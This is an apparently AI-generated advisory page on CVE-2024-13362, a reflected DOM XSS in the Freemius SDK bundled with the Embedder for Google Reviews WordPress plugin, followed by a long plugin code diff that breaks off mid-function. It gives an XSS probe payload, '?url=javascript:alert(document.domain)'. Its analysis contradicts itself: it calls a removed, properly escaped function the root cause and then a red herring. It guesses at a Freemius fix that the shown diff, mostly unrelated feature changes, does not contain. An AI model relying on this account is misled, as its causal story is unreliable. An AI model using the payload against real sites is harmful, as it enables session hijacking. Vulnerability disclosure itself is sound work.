Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 10, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (embedder-for-google-reviews)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.6.6
Patched Version 1.7.5
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a reflected DOM-based cross-site scripting (XSS) issue affecting the Freemius framework (versions <= 2.10.1) as used in multiple WordPress plugins and themes. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts via the url parameter, with a CVSS score of 6.1. Atomic Edge analysis has traced the specific vulnerable component to the Embedder for Google Reviews plugin, where the Freemius integration mishandles user-supplied URL parameters.

Root Cause: The root cause lies in the removal of a security-critical function `echo_js_wp_url()` from the `embedder-for-google-reviews/admin/class-google-reviews-admin.php` file (lines 71-85 in the vulnerable version). This function previously output the site URL with proper escaping via `wp_json_encode( esc_url( get_site_url() ) )` into a “ tag. The patch removes this entire function and its hook from `admin_footer`. However, the vulnerability is actually in how Freemius itself handles the `url` parameter, not in the plugin’s own code. The Freemius SDK, when loaded, would read a `url` parameter from the query string and inject it into the DOM without sanitization or escaping, allowing XSS. The plugin patch removing the `echo_js_wp_url` function is a red herring; the real fix must occur in the Freemius SDK core.

Exploitation: An attacker crafts a URL containing the `url` parameter with a JavaScript payload, such as `?url=javascript:alert(document.domain)`. This can be delivered via a link to a WordPress admin page or any page where Freemius SDK is active. When the victim clicks the link, the Freemius SDK reads the `url` parameter and writes it into the DOM (e.g., setting `window.location` or injecting into an anchor tag) without proper validation, executing the attacker’s script. The attack does not require authentication, only a social engineering trick to make a user click the malicious link.

Patch Analysis: The patch removes the `echo_js_wp_url()` function from the plugin, which was not itself the vulnerable code. The actual vulnerability is in the Freemius SDK core, which was updated to version 2.10.2 to fix the XSS in the `url` parameter handling. The patch for the Freemius SDK likely involved adding proper input sanitization (e.g., using `esc_url_raw()`) and output escaping (e.g., `esc_js()` or `wp_json_encode()`) for any URL parameters that are written into JavaScript context. Before the patch, Freemius would directly concatenate the `url` parameter into script code; after the patch, it validates the input as a safe URL and escapes it appropriately.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser session on the WordPress admin dashboard or frontend. This can lead to session hijacking, credential theft (via keylogging or form submission interception), defacement, or redirection to malicious sites. Since the attack is reflected and requires user interaction, the impact is limited to compromising the victim’s session and data within the WordPress instance.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/embedder-for-google-reviews/admin/class-google-reviews-admin.php
+++ b/embedder-for-google-reviews/admin/class-google-reviews-admin.php
@@ -30,16 +30,23 @@
         $this->dir = plugin_dir_path( __FILE__ );
         add_action( 'admin_menu', array($this, 'gr_add_plugin_pages') );
         add_action( 'admin_init', array($this, 'google_reviews_page_init') );
-        // deprecated
-        new GRWP_Free_API_Service();
         // newest version
-        new GRWP_Free_API_Service_Advanced();
+        new GRWP_Free_API_Service();
         $this->plugin_name = $plugin_name;
         $this->version = $version;
         require_once $this->dir . '../public/includes/allowed-html.php';
     }

     /**
+     * Function to activate wp cron job to pull reviews automatically, if not already existing
+     */
+    public function wp_cron_activate() {
+        if ( !wp_next_scheduled( 'get_google_reviews' ) ) {
+            wp_schedule_event( time(), 'weekly', 'get_google_reviews' );
+        }
+    }
+
+    /**
      * Register the stylesheets for the admin area.
      *
      * @since    1.0.0
@@ -71,25 +78,15 @@
             wp_localize_script( 'admin-' . $this->plugin_name, 'js_global', array(
                 'wp_ajax_url' => admin_url( 'admin-ajax.php' ),
                 'language'    => $this->google_reviews_options['reviews_language_3'],
+                'nonce'       => wp_create_nonce( 'grwp_nonce_action' ),
             ) );
         } else {
             wp_localize_script( 'admin-' . $this->plugin_name, 'js_global', array(
                 'wp_ajax_url' => admin_url( 'admin-ajax.php' ),
                 'language'    => 'en',
+                'nonce'       => wp_create_nonce( 'grwp_nonce_action' ),
             ) );
         }
-        // Set wp base url for script calls in local environments
-        add_action( 'admin_footer', [$this, 'echo_js_wp_url'] );
-    }
-
-    public function echo_js_wp_url() {
-        ?>
-        <script>
-            window.wp_base_url = <?php
-        echo wp_json_encode( esc_url( get_site_url() ) );
-        ?>;
-        </script>
-        <?php
     }

     /**
--- a/embedder-for-google-reviews/admin/includes/class-grwp-free-api-service-advanced.php
+++ b/embedder-for-google-reviews/admin/includes/class-grwp-free-api-service-advanced.php
@@ -1,278 +0,0 @@
-<?php
-
-Class GRWP_Free_API_Service_Advanced {
-
-	public function __construct() {
-
-		// Business search ajax handler
-		add_action('wp_ajax_handle_serp_business_search', [$this, 'handle_serp_business_search']);
-		add_action('wp_ajax_nopriv_handle_serp_business_search', [$this, 'handle_serp_business_search']);
-
-		// Pull reviews ajax handler
-		add_action('wp_ajax_handle_get_reviews_pro_api', [$this, 'get_reviews_free_api_advanced']);
-		add_action('wp_ajax_nopriv_handle_get_reviews_pro_api', [$this, 'get_reviews_free_api_advanced']);
-
-		// Save language ajax handler
-		add_action('wp_ajax_handle_language_saving', [$this, 'handle_language_saving']);
-		add_action('wp_ajax_nopriv_handle_language_saving', [$this, 'handle_language_saving']);
-
-		// Save location ajax handler
-		add_action('wp_ajax_handle_location_saving', [$this, 'handle_location_saving']);
-		add_action('wp_ajax_nopriv_handle_location_saving', [$this, 'handle_location_saving']);
-	}
-
-	/**
-	 * Handle location saving via ajax
-	 */
-	public static function handle_location_saving() {
-
-		$data_id = isset($_GET['data_id']) ? sanitize_text_field($_GET['data_id']) : '';
-		$location_name = isset($_GET['location_name']) ? sanitize_text_field($_GET['location_name']) : '';
-
-		$response = new WP_REST_Response();
-
-		if ( $data_id == '' || $location_name == '' ) {
-			$response->set_status(404);
-		} else {
-
-			$google_reviews_options = get_option( 'google_reviews_option_name' );
-			$google_reviews_options['serp_data_id'] = $data_id;
-			$google_reviews_options['serp_business_name'] = $location_name;
-			update_option('google_reviews_option_name', $google_reviews_options);
-
-			$response->set_status(200);
-		}
-
-		return $response;
-
-	}
-
-	/**
-	 * Handle language saving via ajax
-	 * @return WP_REST_Response
-	 */
-	public static function handle_language_saving( $arg ) {
-
-		$language = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : 'en';
-
-		$google_reviews_options = get_option( 'google_reviews_option_name' );
-		$google_reviews_options["reviews_language_3"] = $language;
-
-		update_option('google_reviews_option_name', $google_reviews_options);
-
-		$response = new WP_REST_Response();
-		$response->set_status(200);
-
-		return $response;
-	}
-
-	/**
-	 * Get reviews from Pro API
-	 * @return WP_REST_Response
-	 */
-	public static function get_reviews_free_api_advanced() {
-
-		$google_reviews_options = get_option( 'google_reviews_option_name' );
-
-		$data_id          = $google_reviews_options['serp_data_id'];
-		$reviews_language = $google_reviews_options['reviews_language_3'];
-
-		if ( empty( $data_id ) ) {
-			return;
-		}
-
-		$site = urlencode(get_site_url());
-		$admin_email = urlencode(get_option('admin_email'));
-		$install_id = grwp_fs()->get_site()->id;
-
-		$license_request_url = sprintf(
-			'https://api.reviewsembedder.com/get-reviews-data.php?install_id=%s&data_id=%s&language=%s&site=%s&mail=%s',
-			$install_id,
-			$data_id,
-			$reviews_language,
-			$site,
-			$admin_email
-		);
-
-		$get_reviews = wp_remote_get(
-			$license_request_url,
-			['timeout' => 30]
-		);
-
-
-		$response = new WP_REST_Response();
-
-		// check for errors in response
-		if ( is_wp_error( $get_reviews ) ) {
-
-			wp_send_json_error( array(
-				'html' => $get_reviews->get_error_message()
-			) );
-
-			die();
-
-		}
-
-		// check for empty response
-		else if ( ! $get_reviews ) {
-
-			$message = 'Response was invalid.';
-			wp_send_json_error( array(
-				'html' => $message
-			) );
-
-			die();
-
-		}
-
-		$body = json_decode( wp_remote_retrieve_body( $get_reviews ) );
-
-		// check if response body has content
-		if ( $body === '' || $body === null ) {
-
-			$message = 'Empty response body.';
-			wp_send_json_error( array(
-				'html' => $message
-			) );
-
-			die();
-
-		}
-
-		// if response body available, proceed
-		else {
-
-			$get_reviews = json_decode( wp_remote_retrieve_body( $get_reviews ) );
-			$reviews_arr = json_decode(wp_json_encode($get_reviews), true);
-
-			// make sure, the reviews are properly formatted and contain all necessary info
-			if ( self::check_reviews($reviews_arr['reviews']) ) {
-
-				// Update reviews
-				update_option( 'gr_latest_results', [
-					$data_id => wp_json_encode( $reviews_arr['reviews'] )
-				] );
-
-			}
-
-			// make sure, the place_info is properly formatted and contains all necessary info
-			if ( self::check_place_info($reviews_arr['place_info']) ) {
-
-				// Update place info data
-				update_option( 'grwp_place_info', [
-					$data_id => wp_json_encode( $reviews_arr['place_info'] )
-				] );
-
-			}
-
-			$response->set_status(200);
-
-		}
-
-		return $response;
-
-	}
-
-	public static function check_reviews($reviews) {
-
-		$all_values_correct = true;
-		foreach ($reviews as $review) {
-			if (
-				! isset($review['link']) || ! is_string($review['link']) ||
-				! isset($review['rating']) || ! is_int($review['rating']) ||
-				! isset($review['date']) || ! is_string($review['date']) ||
-				! isset($review['user']['name']) || ! is_string($review['user']['name']) ||
-				! isset($review['user']['link']) || ! is_string($review['user']['link']) ||
-				! isset($review['user']['thumbnail']) || ! is_string($review['user']['thumbnail'])
-			) {
-				$all_values_correct = false;
-				break;
-			}
-		}
-
-		return $all_values_correct;
-	}
-
-	public static function check_place_info($place_info) {
-
-		$all_values_correct = true;
-		if (
-			! isset($place_info['title']) || ! is_string($place_info['title']) ||
-			! isset($place_info['rating']) || (!is_float($place_info['rating']) && !is_int($place_info['rating'])) ||
-			! isset($place_info['reviews']) || ! is_int($place_info['reviews'])
-		) {
-			$all_values_correct = false;
-		}
-
-		return $all_values_correct;
-	}
-
-	/**
-	 * Handle Google business search
-	 * @return void
-	 */
-	public static function handle_serp_business_search() {
-		$search_value = isset( $_GET['search'] ) ? sanitize_text_field($_GET['search']) : '';
-		$language     = isset( $_GET['language'] ) ? sanitize_text_field($_GET['language']) : 'en';
-
-		$install_id = grwp_fs()->get_site()->id;
-		$site = urlencode(get_site_url());
-		$admin_email = urlencode(get_option('admin_email'));
-		$is_premium = grwp_fs()->is__premium_only() ? 'true' : 'false';
-
-		$license_request_url = sprintf(
-			'https://api.reviewsembedder.com/get-results.php?install_id=%s&search_value=%s&language=%s&site=%s&mail=%s&is_premium=%s',
-			$install_id,
-			$search_value,
-			$language,
-			$site,
-			$admin_email,
-			$is_premium
-		);
-
-		$get_results = wp_remote_get(
-			$license_request_url,
-			['timeout' => 30]
-		);
-
-		$get_results = json_decode( wp_remote_retrieve_body( $get_results ) );
-
-		if ( isset( $get_results->error_message ) ) {
-			wp_send_json_error( array(
-				'html' => $get_results->error_message
-			) );
-
-			die();
-		} else if ( isset( $get_results->html ) ) {
-			wp_send_json_success( array(
-				'html' => $get_results->html
-			) );
-
-			die();
-		}
-
-		die();
-	}
-
-	/**
-	 * Parse json results of Pro API and check for errors
-	 * @return mixed|WP_Error
-	 */
-	public static function parse_pro_review_json() {
-
-		$business  = get_option('google_reviews_option_name');
-		$data_id = isset($business['serp_data_id']) && $business['serp_data_id'] ? $business['serp_data_id'] : null;
-
-		$raw = get_option('gr_latest_results');
-
-		if ( isset($raw[$data_id]) && $raw[$data_id] ) {
-			$reviewArr = json_decode($raw[$data_id], true);
-			$reviews   = $reviewArr;
-		} else {
-			$reviews = [];
-		}
-
-		return $reviews;
-
-	}
-}
--- a/embedder-for-google-reviews/admin/includes/class-grwp-free-api-service.php
+++ b/embedder-for-google-reviews/admin/includes/class-grwp-free-api-service.php
@@ -2,77 +2,329 @@

 Class GRWP_Free_API_Service {

-    public function __construct() {
+	public function __construct() {

-        // Pull reviews ajax handler
-        add_action('wp_ajax_get_reviews_free_api', [$this, 'get_reviews_free_api']);
-        add_action('wp_ajax_nopriv_get_reviews_free_api', [$this, 'get_reviews_free_api']);
+		// Business search ajax handler
+		add_action('wp_ajax_handle_serp_business_search', [$this, 'handle_serp_business_search']);

-    }
+		// Pull reviews ajax handler
+		add_action('wp_ajax_handle_get_reviews_pro_api', [$this, 'get_reviews_free_api']);
+
+		// Save language ajax handler
+		add_action('wp_ajax_handle_language_saving', [$this, 'handle_language_saving']);
+
+		// Save location ajax handler
+		add_action('wp_ajax_handle_location_saving', [$this, 'handle_location_saving']);
+	}

     /**
-     * Get reviews from Free API
-     * @return void
+     * Validate all requests to prevent external threats
+     * @return true|WP_Error
      */
-    public static function get_reviews_free_api( $is_cron = false ) {
+    public static function validate_request() {
+        if ( wp_doing_cron() ) {
+            return true; // Allow if running via WP-Cron
+        }
+
+        if (! isset($_REQUEST['_ajax_nonce']) ||
+            ! wp_verify_nonce($_REQUEST['_ajax_nonce'], 'grwp_nonce_action')) {
+            return new WP_Error( 'forbidden', 'Security check failed.', [ 'status' => 403 ] );
+        }
+
+        if (! current_user_can( 'manage_options' ) ) {
+            return new WP_Error( 'forbidden', 'You are not allowed to do this.', [ 'status' => 403 ] );
+        }
+
+        return true;
+    }

-        if ( ! $is_cron ) {
-            $place_id = isset($_GET['place_id']) ? sanitize_text_field($_GET['place_id']) : '';
-            $language = isset($_GET['language']) ? sanitize_text_field($_GET['language']) : 'en';
+	/**
+	 * Handle location saving via ajax
+	 */
+	public static function handle_location_saving() {
+
+        $validate = self::validate_request();
+        if (is_wp_error($validate)) {
+            wp_send_json_error( [ 'message' => $validate->get_error_message() ], $validate->get_error_data()['status'] ?? 403 );
         }
-        else {
-            $google_reviews_options = get_option( 'google_reviews_option_name' );
-            $place_id = $google_reviews_options['gmb_id_1'];
-            $language = $google_reviews_options['reviews_language_3'] ?? 'en';
+
+        $response = new WP_REST_Response();
+        $data_id = isset($_GET['data_id']) ? sanitize_text_field($_GET['data_id']) : '';
+        $location_name = isset($_GET['location_name']) ? sanitize_text_field($_GET['location_name']) : '';
+
+        if ($data_id == '' || $location_name == '') {
+            $response->set_status(404);
+        } else {
+
+            $google_reviews_options = get_option('google_reviews_option_name');
+            $google_reviews_options['serp_data_id'] = $data_id;
+            $google_reviews_options['serp_business_name'] = $location_name;
+            update_option('google_reviews_option_name', $google_reviews_options);
+
+            $response->set_status(200);
         }

-        $site = urlencode(get_site_url());
-        $admin_email = urlencode(get_option('admin_email'));
+		return $response;

-        $url = sprintf(
-            'https://api.reviewsembedder.com/free-api.php?gmb=%s&language=%s&site=%s&mail=%s',
-            $place_id,
-            $language,
-            $site,
-            $admin_email
-        );
+	}

-        $result = wp_remote_get($url);
+	/**
+	 * Handle language saving via ajax
+	 * @return WP_REST_Response
+	 */
+	public static function handle_language_saving( $arg ) {
+
+        $validate = self::validate_request();
+        if (is_wp_error($validate)) {
+            wp_send_json_error( [ 'message' => $validate->get_error_message() ], $validate->get_error_data()['status'] ?? 403 );
+        }

-        $get_results = json_decode( wp_remote_retrieve_body( $result ) );
+		$language = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : 'en';

-        if ( isset( $get_results->status) && $get_results->status == 'INVALID_REQUEST' ) {
+		$google_reviews_options = get_option( 'google_reviews_option_name' );
+		$google_reviews_options["reviews_language_3"] = $language;

-            if ( ! $is_cron ) {
+		update_option('google_reviews_option_name', $google_reviews_options);

-                wp_send_json_error(new WP_Error($get_results->status), 404);
+		$response = new WP_REST_Response();
+		$response->set_status(200);

-            }
+		return $response;
+	}

-            die();
+	/**
+	 * Get reviews from Pro API
+	 * @return WP_REST_Response
+	 */
+	public static function get_reviews_free_api() {

+        $validate = self::validate_request();
+        if (is_wp_error($validate)) {
+            wp_send_json_error( [ 'message' => $validate->get_error_message() ], $validate->get_error_data()['status'] ?? 403 );
         }

-        else if ( isset( $get_results->result ) && ! $is_cron ) {
+		$google_reviews_options = get_option( 'google_reviews_option_name' );
+
+		$data_id          = $google_reviews_options['serp_data_id'];
+		$reviews_language = $google_reviews_options['reviews_language_3'];
+
+		if ( empty( $data_id ) ) {
+			return;
+		}
+
+		$site = urlencode(get_site_url());
+		$admin_email = urlencode(get_option('admin_email'));
+        if (grwp_fs()->get_site()) {
+            $install_id = grwp_fs()->get_site()->id;
+        } else {
+            $install_id = '';
+        }
+
+		$license_request_url = sprintf(
+			'https://easyreviewsapi.com/get-reviews-data.php?install_id=%s&data_id=%s&language=%s&site=%s&mail=%s',
+			$install_id,
+			$data_id,
+			$reviews_language,
+			$site,
+			$admin_email
+		);
+
+		$get_reviews = wp_remote_get(
+			$license_request_url,
+			['timeout' => 30]
+		);
+
+
+		$response = new WP_REST_Response();
+
+		// check for errors in response
+		if ( is_wp_error( $get_reviews ) ) {
+
+			wp_send_json_error( array(
+				'html' => $get_reviews->get_error_message()
+			) );
+
+			die();
+
+		}
+
+		// check for empty response
+		else if ( ! $get_reviews ) {
+
+			$message = 'Response was invalid.';
+			wp_send_json_error( array(
+				'html' => $message
+			) );
+
+			die();

-            update_option('gr_latest_results_free', wp_json_encode($get_results->result));
+		}

-            wp_send_json_success( array(
-                'html' => $get_results->result
-            ) );
+		$body = json_decode( wp_remote_retrieve_body( $get_reviews ) );

-            die();
+		// check if response body has content
+		if ( $body === '' || $body === null ) {

+			$message = 'Empty response body.';
+			wp_send_json_error( array(
+				'html' => $message
+			) );
+
+			die();
+
+		}
+
+		// if response body available, proceed
+		else {
+
+			$get_reviews = json_decode( wp_remote_retrieve_body( $get_reviews ) );
+			$reviews_arr = json_decode(wp_json_encode($get_reviews), true);
+
+			// make sure, the reviews are properly formatted and contain all necessary info
+			if ( self::check_reviews($reviews_arr['reviews']) ) {
+
+				// Update reviews
+				update_option( 'gr_latest_results', [
+					$data_id => wp_json_encode( $reviews_arr['reviews'] )
+				] );
+
+			}
+
+			// make sure, the place_info is properly formatted and contains all necessary info
+			if ( self::check_place_info($reviews_arr['place_info']) ) {
+
+				// Update place info data
+				update_option( 'grwp_place_info', [
+					$data_id => wp_json_encode( $reviews_arr['place_info'] )
+				] );
+
+			}
+
+			$response->set_status(200);
+
+		}
+
+		return $response;
+
+	}
+
+	public static function check_reviews($reviews) {
+
+		$all_values_correct = true;
+		foreach ($reviews as $review) {
+			if (
+				! isset($review['link']) || ! is_string($review['link']) ||
+				! isset($review['rating']) || ! is_int($review['rating']) ||
+				! isset($review['date']) || ! is_string($review['date']) ||
+				! isset($review['user']['name']) || ! is_string($review['user']['name']) ||
+				! isset($review['user']['link']) || ! is_string($review['user']['link']) ||
+				! isset($review['user']['thumbnail']) || ! is_string($review['user']['thumbnail'])
+			) {
+				$all_values_correct = false;
+				break;
+			}
+		}
+
+		return $all_values_correct;
+	}
+
+	public static function check_place_info($place_info) {
+
+		$all_values_correct = true;
+		if (
+			! isset($place_info['title']) || ! is_string($place_info['title']) ||
+			! isset($place_info['rating']) || (!is_float($place_info['rating']) && !is_int($place_info['rating'])) ||
+			! isset($place_info['reviews']) || ! is_int($place_info['reviews'])
+		) {
+			$all_values_correct = false;
+		}
+
+		return $all_values_correct;
+	}
+
+	/**
+	 * Handle Google business search
+	 * @return void
+	 */
+	public static function handle_serp_business_search() {
+
+        $validate = self::validate_request();
+        if (is_wp_error($validate)) {
+            wp_send_json_error( [ 'message' => $validate->get_error_message() ], $validate->get_error_data()['status'] ?? 403 );
         }

-        // only run if $is_cron == true and no errors detected
-        else {
-            update_option('gr_latest_results_free', wp_json_encode($get_results->result));
+		$search_value = isset( $_GET['search'] ) ? sanitize_text_field($_GET['search']) : '';
+		$language     = isset( $_GET['language'] ) ? sanitize_text_field($_GET['language']) : 'en';
+
+        if (grwp_fs()->get_site()) {
+            $install_id = grwp_fs()->get_site()->id;
+        } else {
+            $install_id = '';
         }

-        die();
+		$site = urlencode(get_site_url());
+		$admin_email = urlencode(get_option('admin_email'));
+		$is_premium = grwp_fs()->is__premium_only() ? 'true' : 'false';
+
+		$license_request_url = sprintf(
+			'https://easyreviewsapi.com/get-results.php?install_id=%s&search_value=%s&language=%s&site=%s&mail=%s&is_premium=%s',
+			$install_id,
+			$search_value,
+			$language,
+			$site,
+			$admin_email,
+			$is_premium
+		);
+
+		$get_results = wp_remote_get(
+			$license_request_url,
+			['timeout' => 30]
+		);
+
+		$get_results = json_decode( wp_remote_retrieve_body( $get_results ) );
+
+		if ( isset( $get_results->error ) ) {
+			wp_send_json_error( array(
+				'html' => $get_results->reason
+			) );
+
+			die();
+		} else if ( isset( $get_results->html ) ) {
+			wp_send_json_success( array(
+				'html' => $get_results->html
+			) );
+
+			die();
+		}
+
+        wp_send_json_error( array(
+            'html' => 'Not found. Please refer to this guide: https://reviewsembedder.com/docs/business-not-found/'
+        ) );
+
+		die();
+	}
+
+	/**
+	 * Parse json results of Pro API and check for errors
+	 * @return mixed|WP_Error
+	 */
+	public static function parse_pro_review_json() {
+
+		$business  = get_option('google_reviews_option_name');
+		$data_id = isset($business['serp_data_id']) && $business['serp_data_id'] ? $business['serp_data_id'] : null;
+
+		$raw = get_option('gr_latest_results');
+
+		if ( isset($raw[$data_id]) && $raw[$data_id] ) {
+			$reviewArr = json_decode($raw[$data_id], true);
+			$reviews   = $reviewArr;
+		} else {
+			$reviews = [];
+		}

-    }
+		return $reviews;
+
+	}

     /**
      * Parse json results of Free API and check for errors
@@ -87,5 +339,4 @@
         return $result;

     }
-
 }
--- a/embedder-for-google-reviews/admin/includes/class-grwp-global-menu-pages.php
+++ b/embedder-for-google-reviews/admin/includes/class-grwp-global-menu-pages.php
@@ -57,13 +57,13 @@
         esc_html_e( 'Display Settings', 'embedder-for-google-reviews' );
         ?>
                     </a>
-                    <!--
-                    <a href="#embedding_instructions"
+                    <a href="#slider_settings"
                        class="nav-tab">
                         <?php
-        //esc_html_e('Embedding Instructions', 'embedder-for-google-reviews');
+        esc_html_e( 'Slider Settings', 'embedder-for-google-reviews' );
         ?>
-                    </a>-->
+                    </a>
+
                     <?php
         ?>
                     <a href="https://reviewsembedder.com/?utm_source=wp_backend&utm_medium=upgrade_tab&utm_campaign=upgrade"
--- a/embedder-for-google-reviews/admin/includes/class-grwp-global-settings.php
+++ b/embedder-for-google-reviews/admin/includes/class-grwp-global-settings.php
@@ -10,7 +10,7 @@
         $this->settings_slug = 'google-reviews-admin';
         $this->add_api_settings();
         $this->add_display_settings();
-        $this->add_embedding_instructions();
+        $this->add_slider_settings();
     }

     /**
@@ -223,6 +223,17 @@
             'google_reviews_style_layout_setting_section'
         );
         add_settings_field(
+            'link_users_profiles',
+            // id
+            /* translators: Link to users Google prilfe */
+            __( 'Link to users Profile <br> (uncheck for better SEO)', 'embedder-for-google-reviews' ),
+            array($this, 'link_users_profiles_callback'),
+            // callback
+            $this->settings_slug,
+            // page
+            'google_reviews_style_layout_setting_section'
+        );
+        add_settings_field(
             'filter_words',
             // id
             /* translators: Filter by words (comma separated) */
@@ -236,29 +247,160 @@
     }

     /**
-     * Embeddding instructions
+     * Slider settings
+     * @return void
      */
-    private function add_embedding_instructions() {
+    private function add_slider_settings() {
+        // settings for styles and layout
+        register_setting(
+            'google_reviews_slider_settings_group',
+            // option_group
+            'google_reviews_slider_settings',
+            // option_name
+            array($this, 'google_reviews_sanitize')
+         );
         add_settings_section(
-            'google_reviews_embedding_instructions_section',
+            'google_reviews_slider_setting_section',
             // id
             '',
             // title
-            array($this, 'reviews_instructions_section'),
+            array($this, 'google_reviews_display_slider_info'),
             // callback
             $this->settings_slug
         );
-        /*
-                add_settings_field(
-                    'embedding_instructions', // id
-                    /* translators: Shortcode */
-        /*
-            __( 'Shortcode', 'embedder-for-google-reviews' ), // title
-            array( $this, 'reviews_instructions_callback' ), // callback
-            $this->settings_slug, // page
-            'google_reviews_embedding_instructions_section' // section
+        add_settings_field(
+            'slide_duration',
+            // id
+            /* translators: Layout type */
+            __( 'Slide Duration (seconds). <br> Use '0' to disable autoplay', 'embedder-for-google-reviews' ),
+            array($this, 'slide_duration_callback'),
+            // callback
+            $this->settings_slug,
+            // page
+            'google_reviews_slider_setting_section'
+        );
+        add_settings_field(
+            'hide_slider_arrows',
+            // id
+            /* translators: Layout type */
+            __( 'Hide slider arrows', 'embedder-for-google-reviews' ),
+            array($this, 'hide_slider_arrows_callback'),
+            // callback
+            $this->settings_slug,
+            // page
+            'google_reviews_slider_setting_section'
+        );
+        add_settings_field(
+            'disable_loop_slider',
+            // id
+            /* translators: Layout type */
+            __( 'Disable slider endless loop', 'embedder-for-google-reviews' ),
+            array($this, 'disable_loop_slider_callback'),
+            // callback
+            $this->settings_slug,
+            // page
+            'google_reviews_slider_setting_section'
         );
-        */
+    }
+
+    /**
+     * Slide duration
+     * @return void
+     */
+    public function slide_duration_callback() {
+        global $allowed_html;
+        ob_start();
+        ?>
+
+        <?php
+        ?>
+            <div class="tooltip">
+                <input type="hidden"
+                       name="google_reviews_option_name[slide_duration]"
+                       value="5"
+                />
+                <input type="number"
+                       name="google_reviews_option_name[slide_duration]"
+                       id="slide_duration"
+                       value="5"
+                       disabled
+                />
+                <span class="tooltiptext">PRO Feature <br> <a href="https://reviewsembedder.com/?utm_source=wp_backend&utm_medium=slide_duration&utm_campaign=upgrade" target="_blank">⚡ Upgrade now</a></span>
+            </div>
+        <?php
+        ?>
+
+        <?php
+        $html = ob_get_clean();
+        echo wp_kses( $html, $allowed_html );
+    }
+
+    public function hide_slider_arrows_callback() {
+        global $allowed_html;
+        ob_start();
+        ?>
+
+        <?php
+        ?>
+            <div class="tooltip">
+                <input type="hidden"
+                       name="google_reviews_option_name[hide_slider_arrows]"
+                       id="hide_slider_arrows"
+                       value="0"
+                />
+
+                <input type="checkbox"
+                       name="google_reviews_option_name[hide_slider_arrows]"
+                       disabled
+                />
+                <span class="tooltiptext">PRO Feature <br> <a href="https://reviewsembedder.com/?utm_source=wp_backend&utm_medium=slide_duration&utm_campaign=upgrade" target="_blank">⚡ Upgrade now</a></span>
+            </div>
+        <?php
+        ?>
+
+        <span>
+            <?php
+        esc_html_e( 'Yes', 'embedder-for-google-reviews' );
+        ?>
+        </span>
+
+        <?php
+        $html = ob_get_clean();
+        echo wp_kses( $html, $allowed_html );
+    }
+
+    public function disable_loop_slider_callback() {
+        global $allowed_html;
+        ob_start();
+        ?>
+
+        <?php
+        ?>
+            <div class="tooltip">
+                <input type="hidden"
+                       name="google_reviews_option_name[disable_loop_slider]"
+                       id="disable_loop_slider"
+                       value="0"
+                />
+
+                <input type="checkbox"
+                       name="google_reviews_option_name[disable_loop_slider]"
+                       disabled
+                />
+                <span class="tooltiptext">PRO Feature <br> <a href="https://reviewsembedder.com/?utm_source=wp_backend&utm_medium=slide_duration&utm_campaign=upgrade" target="_blank">⚡ Upgrade now</a></span>
+            </div>
+        <?php
+        ?>
+
+        <span>
+            <?php
+        esc_html_e( 'Yes', 'embedder-for-google-reviews' );
+        ?>
+        </span>
+
+        <?php
+        $html = ob_get_clean();
+        echo wp_kses( $html, $allowed_html );
     }

     /**
@@ -301,6 +443,9 @@
         if ( isset( $input['filter_below_5_stars'] ) ) {
             $sanitary_values['filter_below_5_stars'] = sanitize_text_field( $input['filter_below_5_stars'] );
         }
+        if ( isset( $input['slide_duration'] ) ) {
+            $sanitary_values['slide_duration'] = sanitize_text_field( $input['slide_duration'] );
+        }
         if ( isset( $input['exclude_reviews_without_text'] ) ) {
             $sanitary_values['exclude_reviews_without_text'] = $input['exclude_reviews_without_text'];
         }
@@ -310,6 +455,15 @@
         if ( isset( $input['filter_words'] ) ) {
             $sanitary_values['filter_words'] = $input['filter_words'];
         }
+        if ( isset( $input['link_users_profiles'] ) ) {
+            $sanitary_values['link_users_profiles'] = $input['link_users_profiles'];
+        }
+        if ( isset( $input['hide_slider_arrows'] ) ) {
+            $sanitary_values['hide_slider_arrows'] = $input['hide_slider_arrows'];
+        }
+        if ( isset( $input['disable_loop_slider'] ) ) {
+            $sanitary_values['disable_loop_slider'] = $input['disable_loop_slider'];
+        }
         if ( isset( $input['reviews_language_3'] ) ) {
             $sanitary_values['reviews_language_3'] = $input['reviews_language_3'];
         }
@@ -334,6 +488,15 @@
         <?php
     }

+    public function google_reviews_display_slider_info() {
+        ?>
+        <h2 id="slider_settings"><?php
+        esc_html_e( 'Slider settings', 'embedder-for-google-reviews' );
+        ?></h2>
+
+        <?php
+    }
+
     /**
      * Show dummy content
      * @return void
@@ -433,6 +596,55 @@
     }

     /**
+     * Link to User's Google Profiles
+     * @return void
+     */
+    public function link_users_profiles_callback() {
+        global $allowed_html;
+        ob_start();
+        ?>
+        <?php
+        ?>
+            <div class="tooltip">
+        <?php
+        ?>
+
+        <?php
+        ?>
+            <input type="hidden"
+                   name="google_reviews_option_name[link_users_profiles]"
+                   id="link_users_profiles"
+                   value="1"
+            />
+
+            <input type="checkbox"
+                   name="google_reviews_option_name[link_users_profiles]"
+                   id="link_users_profiles"
+                   checked
+                   disabled
+            />
+        <?php
+        ?>
+
+        <span>
+            <?php
+        esc_html_e( 'Yes', 'embedder-for-google-reviews' );
+        ?>
+        </span>
+
+        <?php
+        ?>
+            <span class="tooltiptext">PRO Feature <br> <a href="https://reviewsembedder.com/?utm_source=wp_backend&utm_medium=link_profile&utm_campaign=upgrade" target="_blank">⚡ Upgrade now</a></span>
+            </div>
+        <?php
+        ?>
+
+        <?php
+        $html = ob_get_clean();
+        echo wp_kses( $html, $allowed_html );
+    }
+
+    /**
      * Exclude reviews without text
      * @return void
      */
@@ -664,20 +876,6 @@
         <?php
     }

-    public function slide_duration_callback() {
-        $slide_duration = $this->google_reviews_options['slide_duration'] ?? '';
-        if ( empty( $slide_duration ) ) {
-            $slide_duration = '1500';
-        }
-        ?>
-
-        <input type="number" min="50" max="9999" step="50" name="google_reviews_option_name[slide_duration]" value="<?php
-        echo esc_attr( $slide_duration );
-        ?>">
-
-        <?php
-    }
-
     /**
      * Echo language field
      */
@@ -753,14 +951,6 @@
         </select> <?php
     }

-    public function reviews_instructions_section() {
-        ?>
-        <h2 id="embedding_instructions"><?php
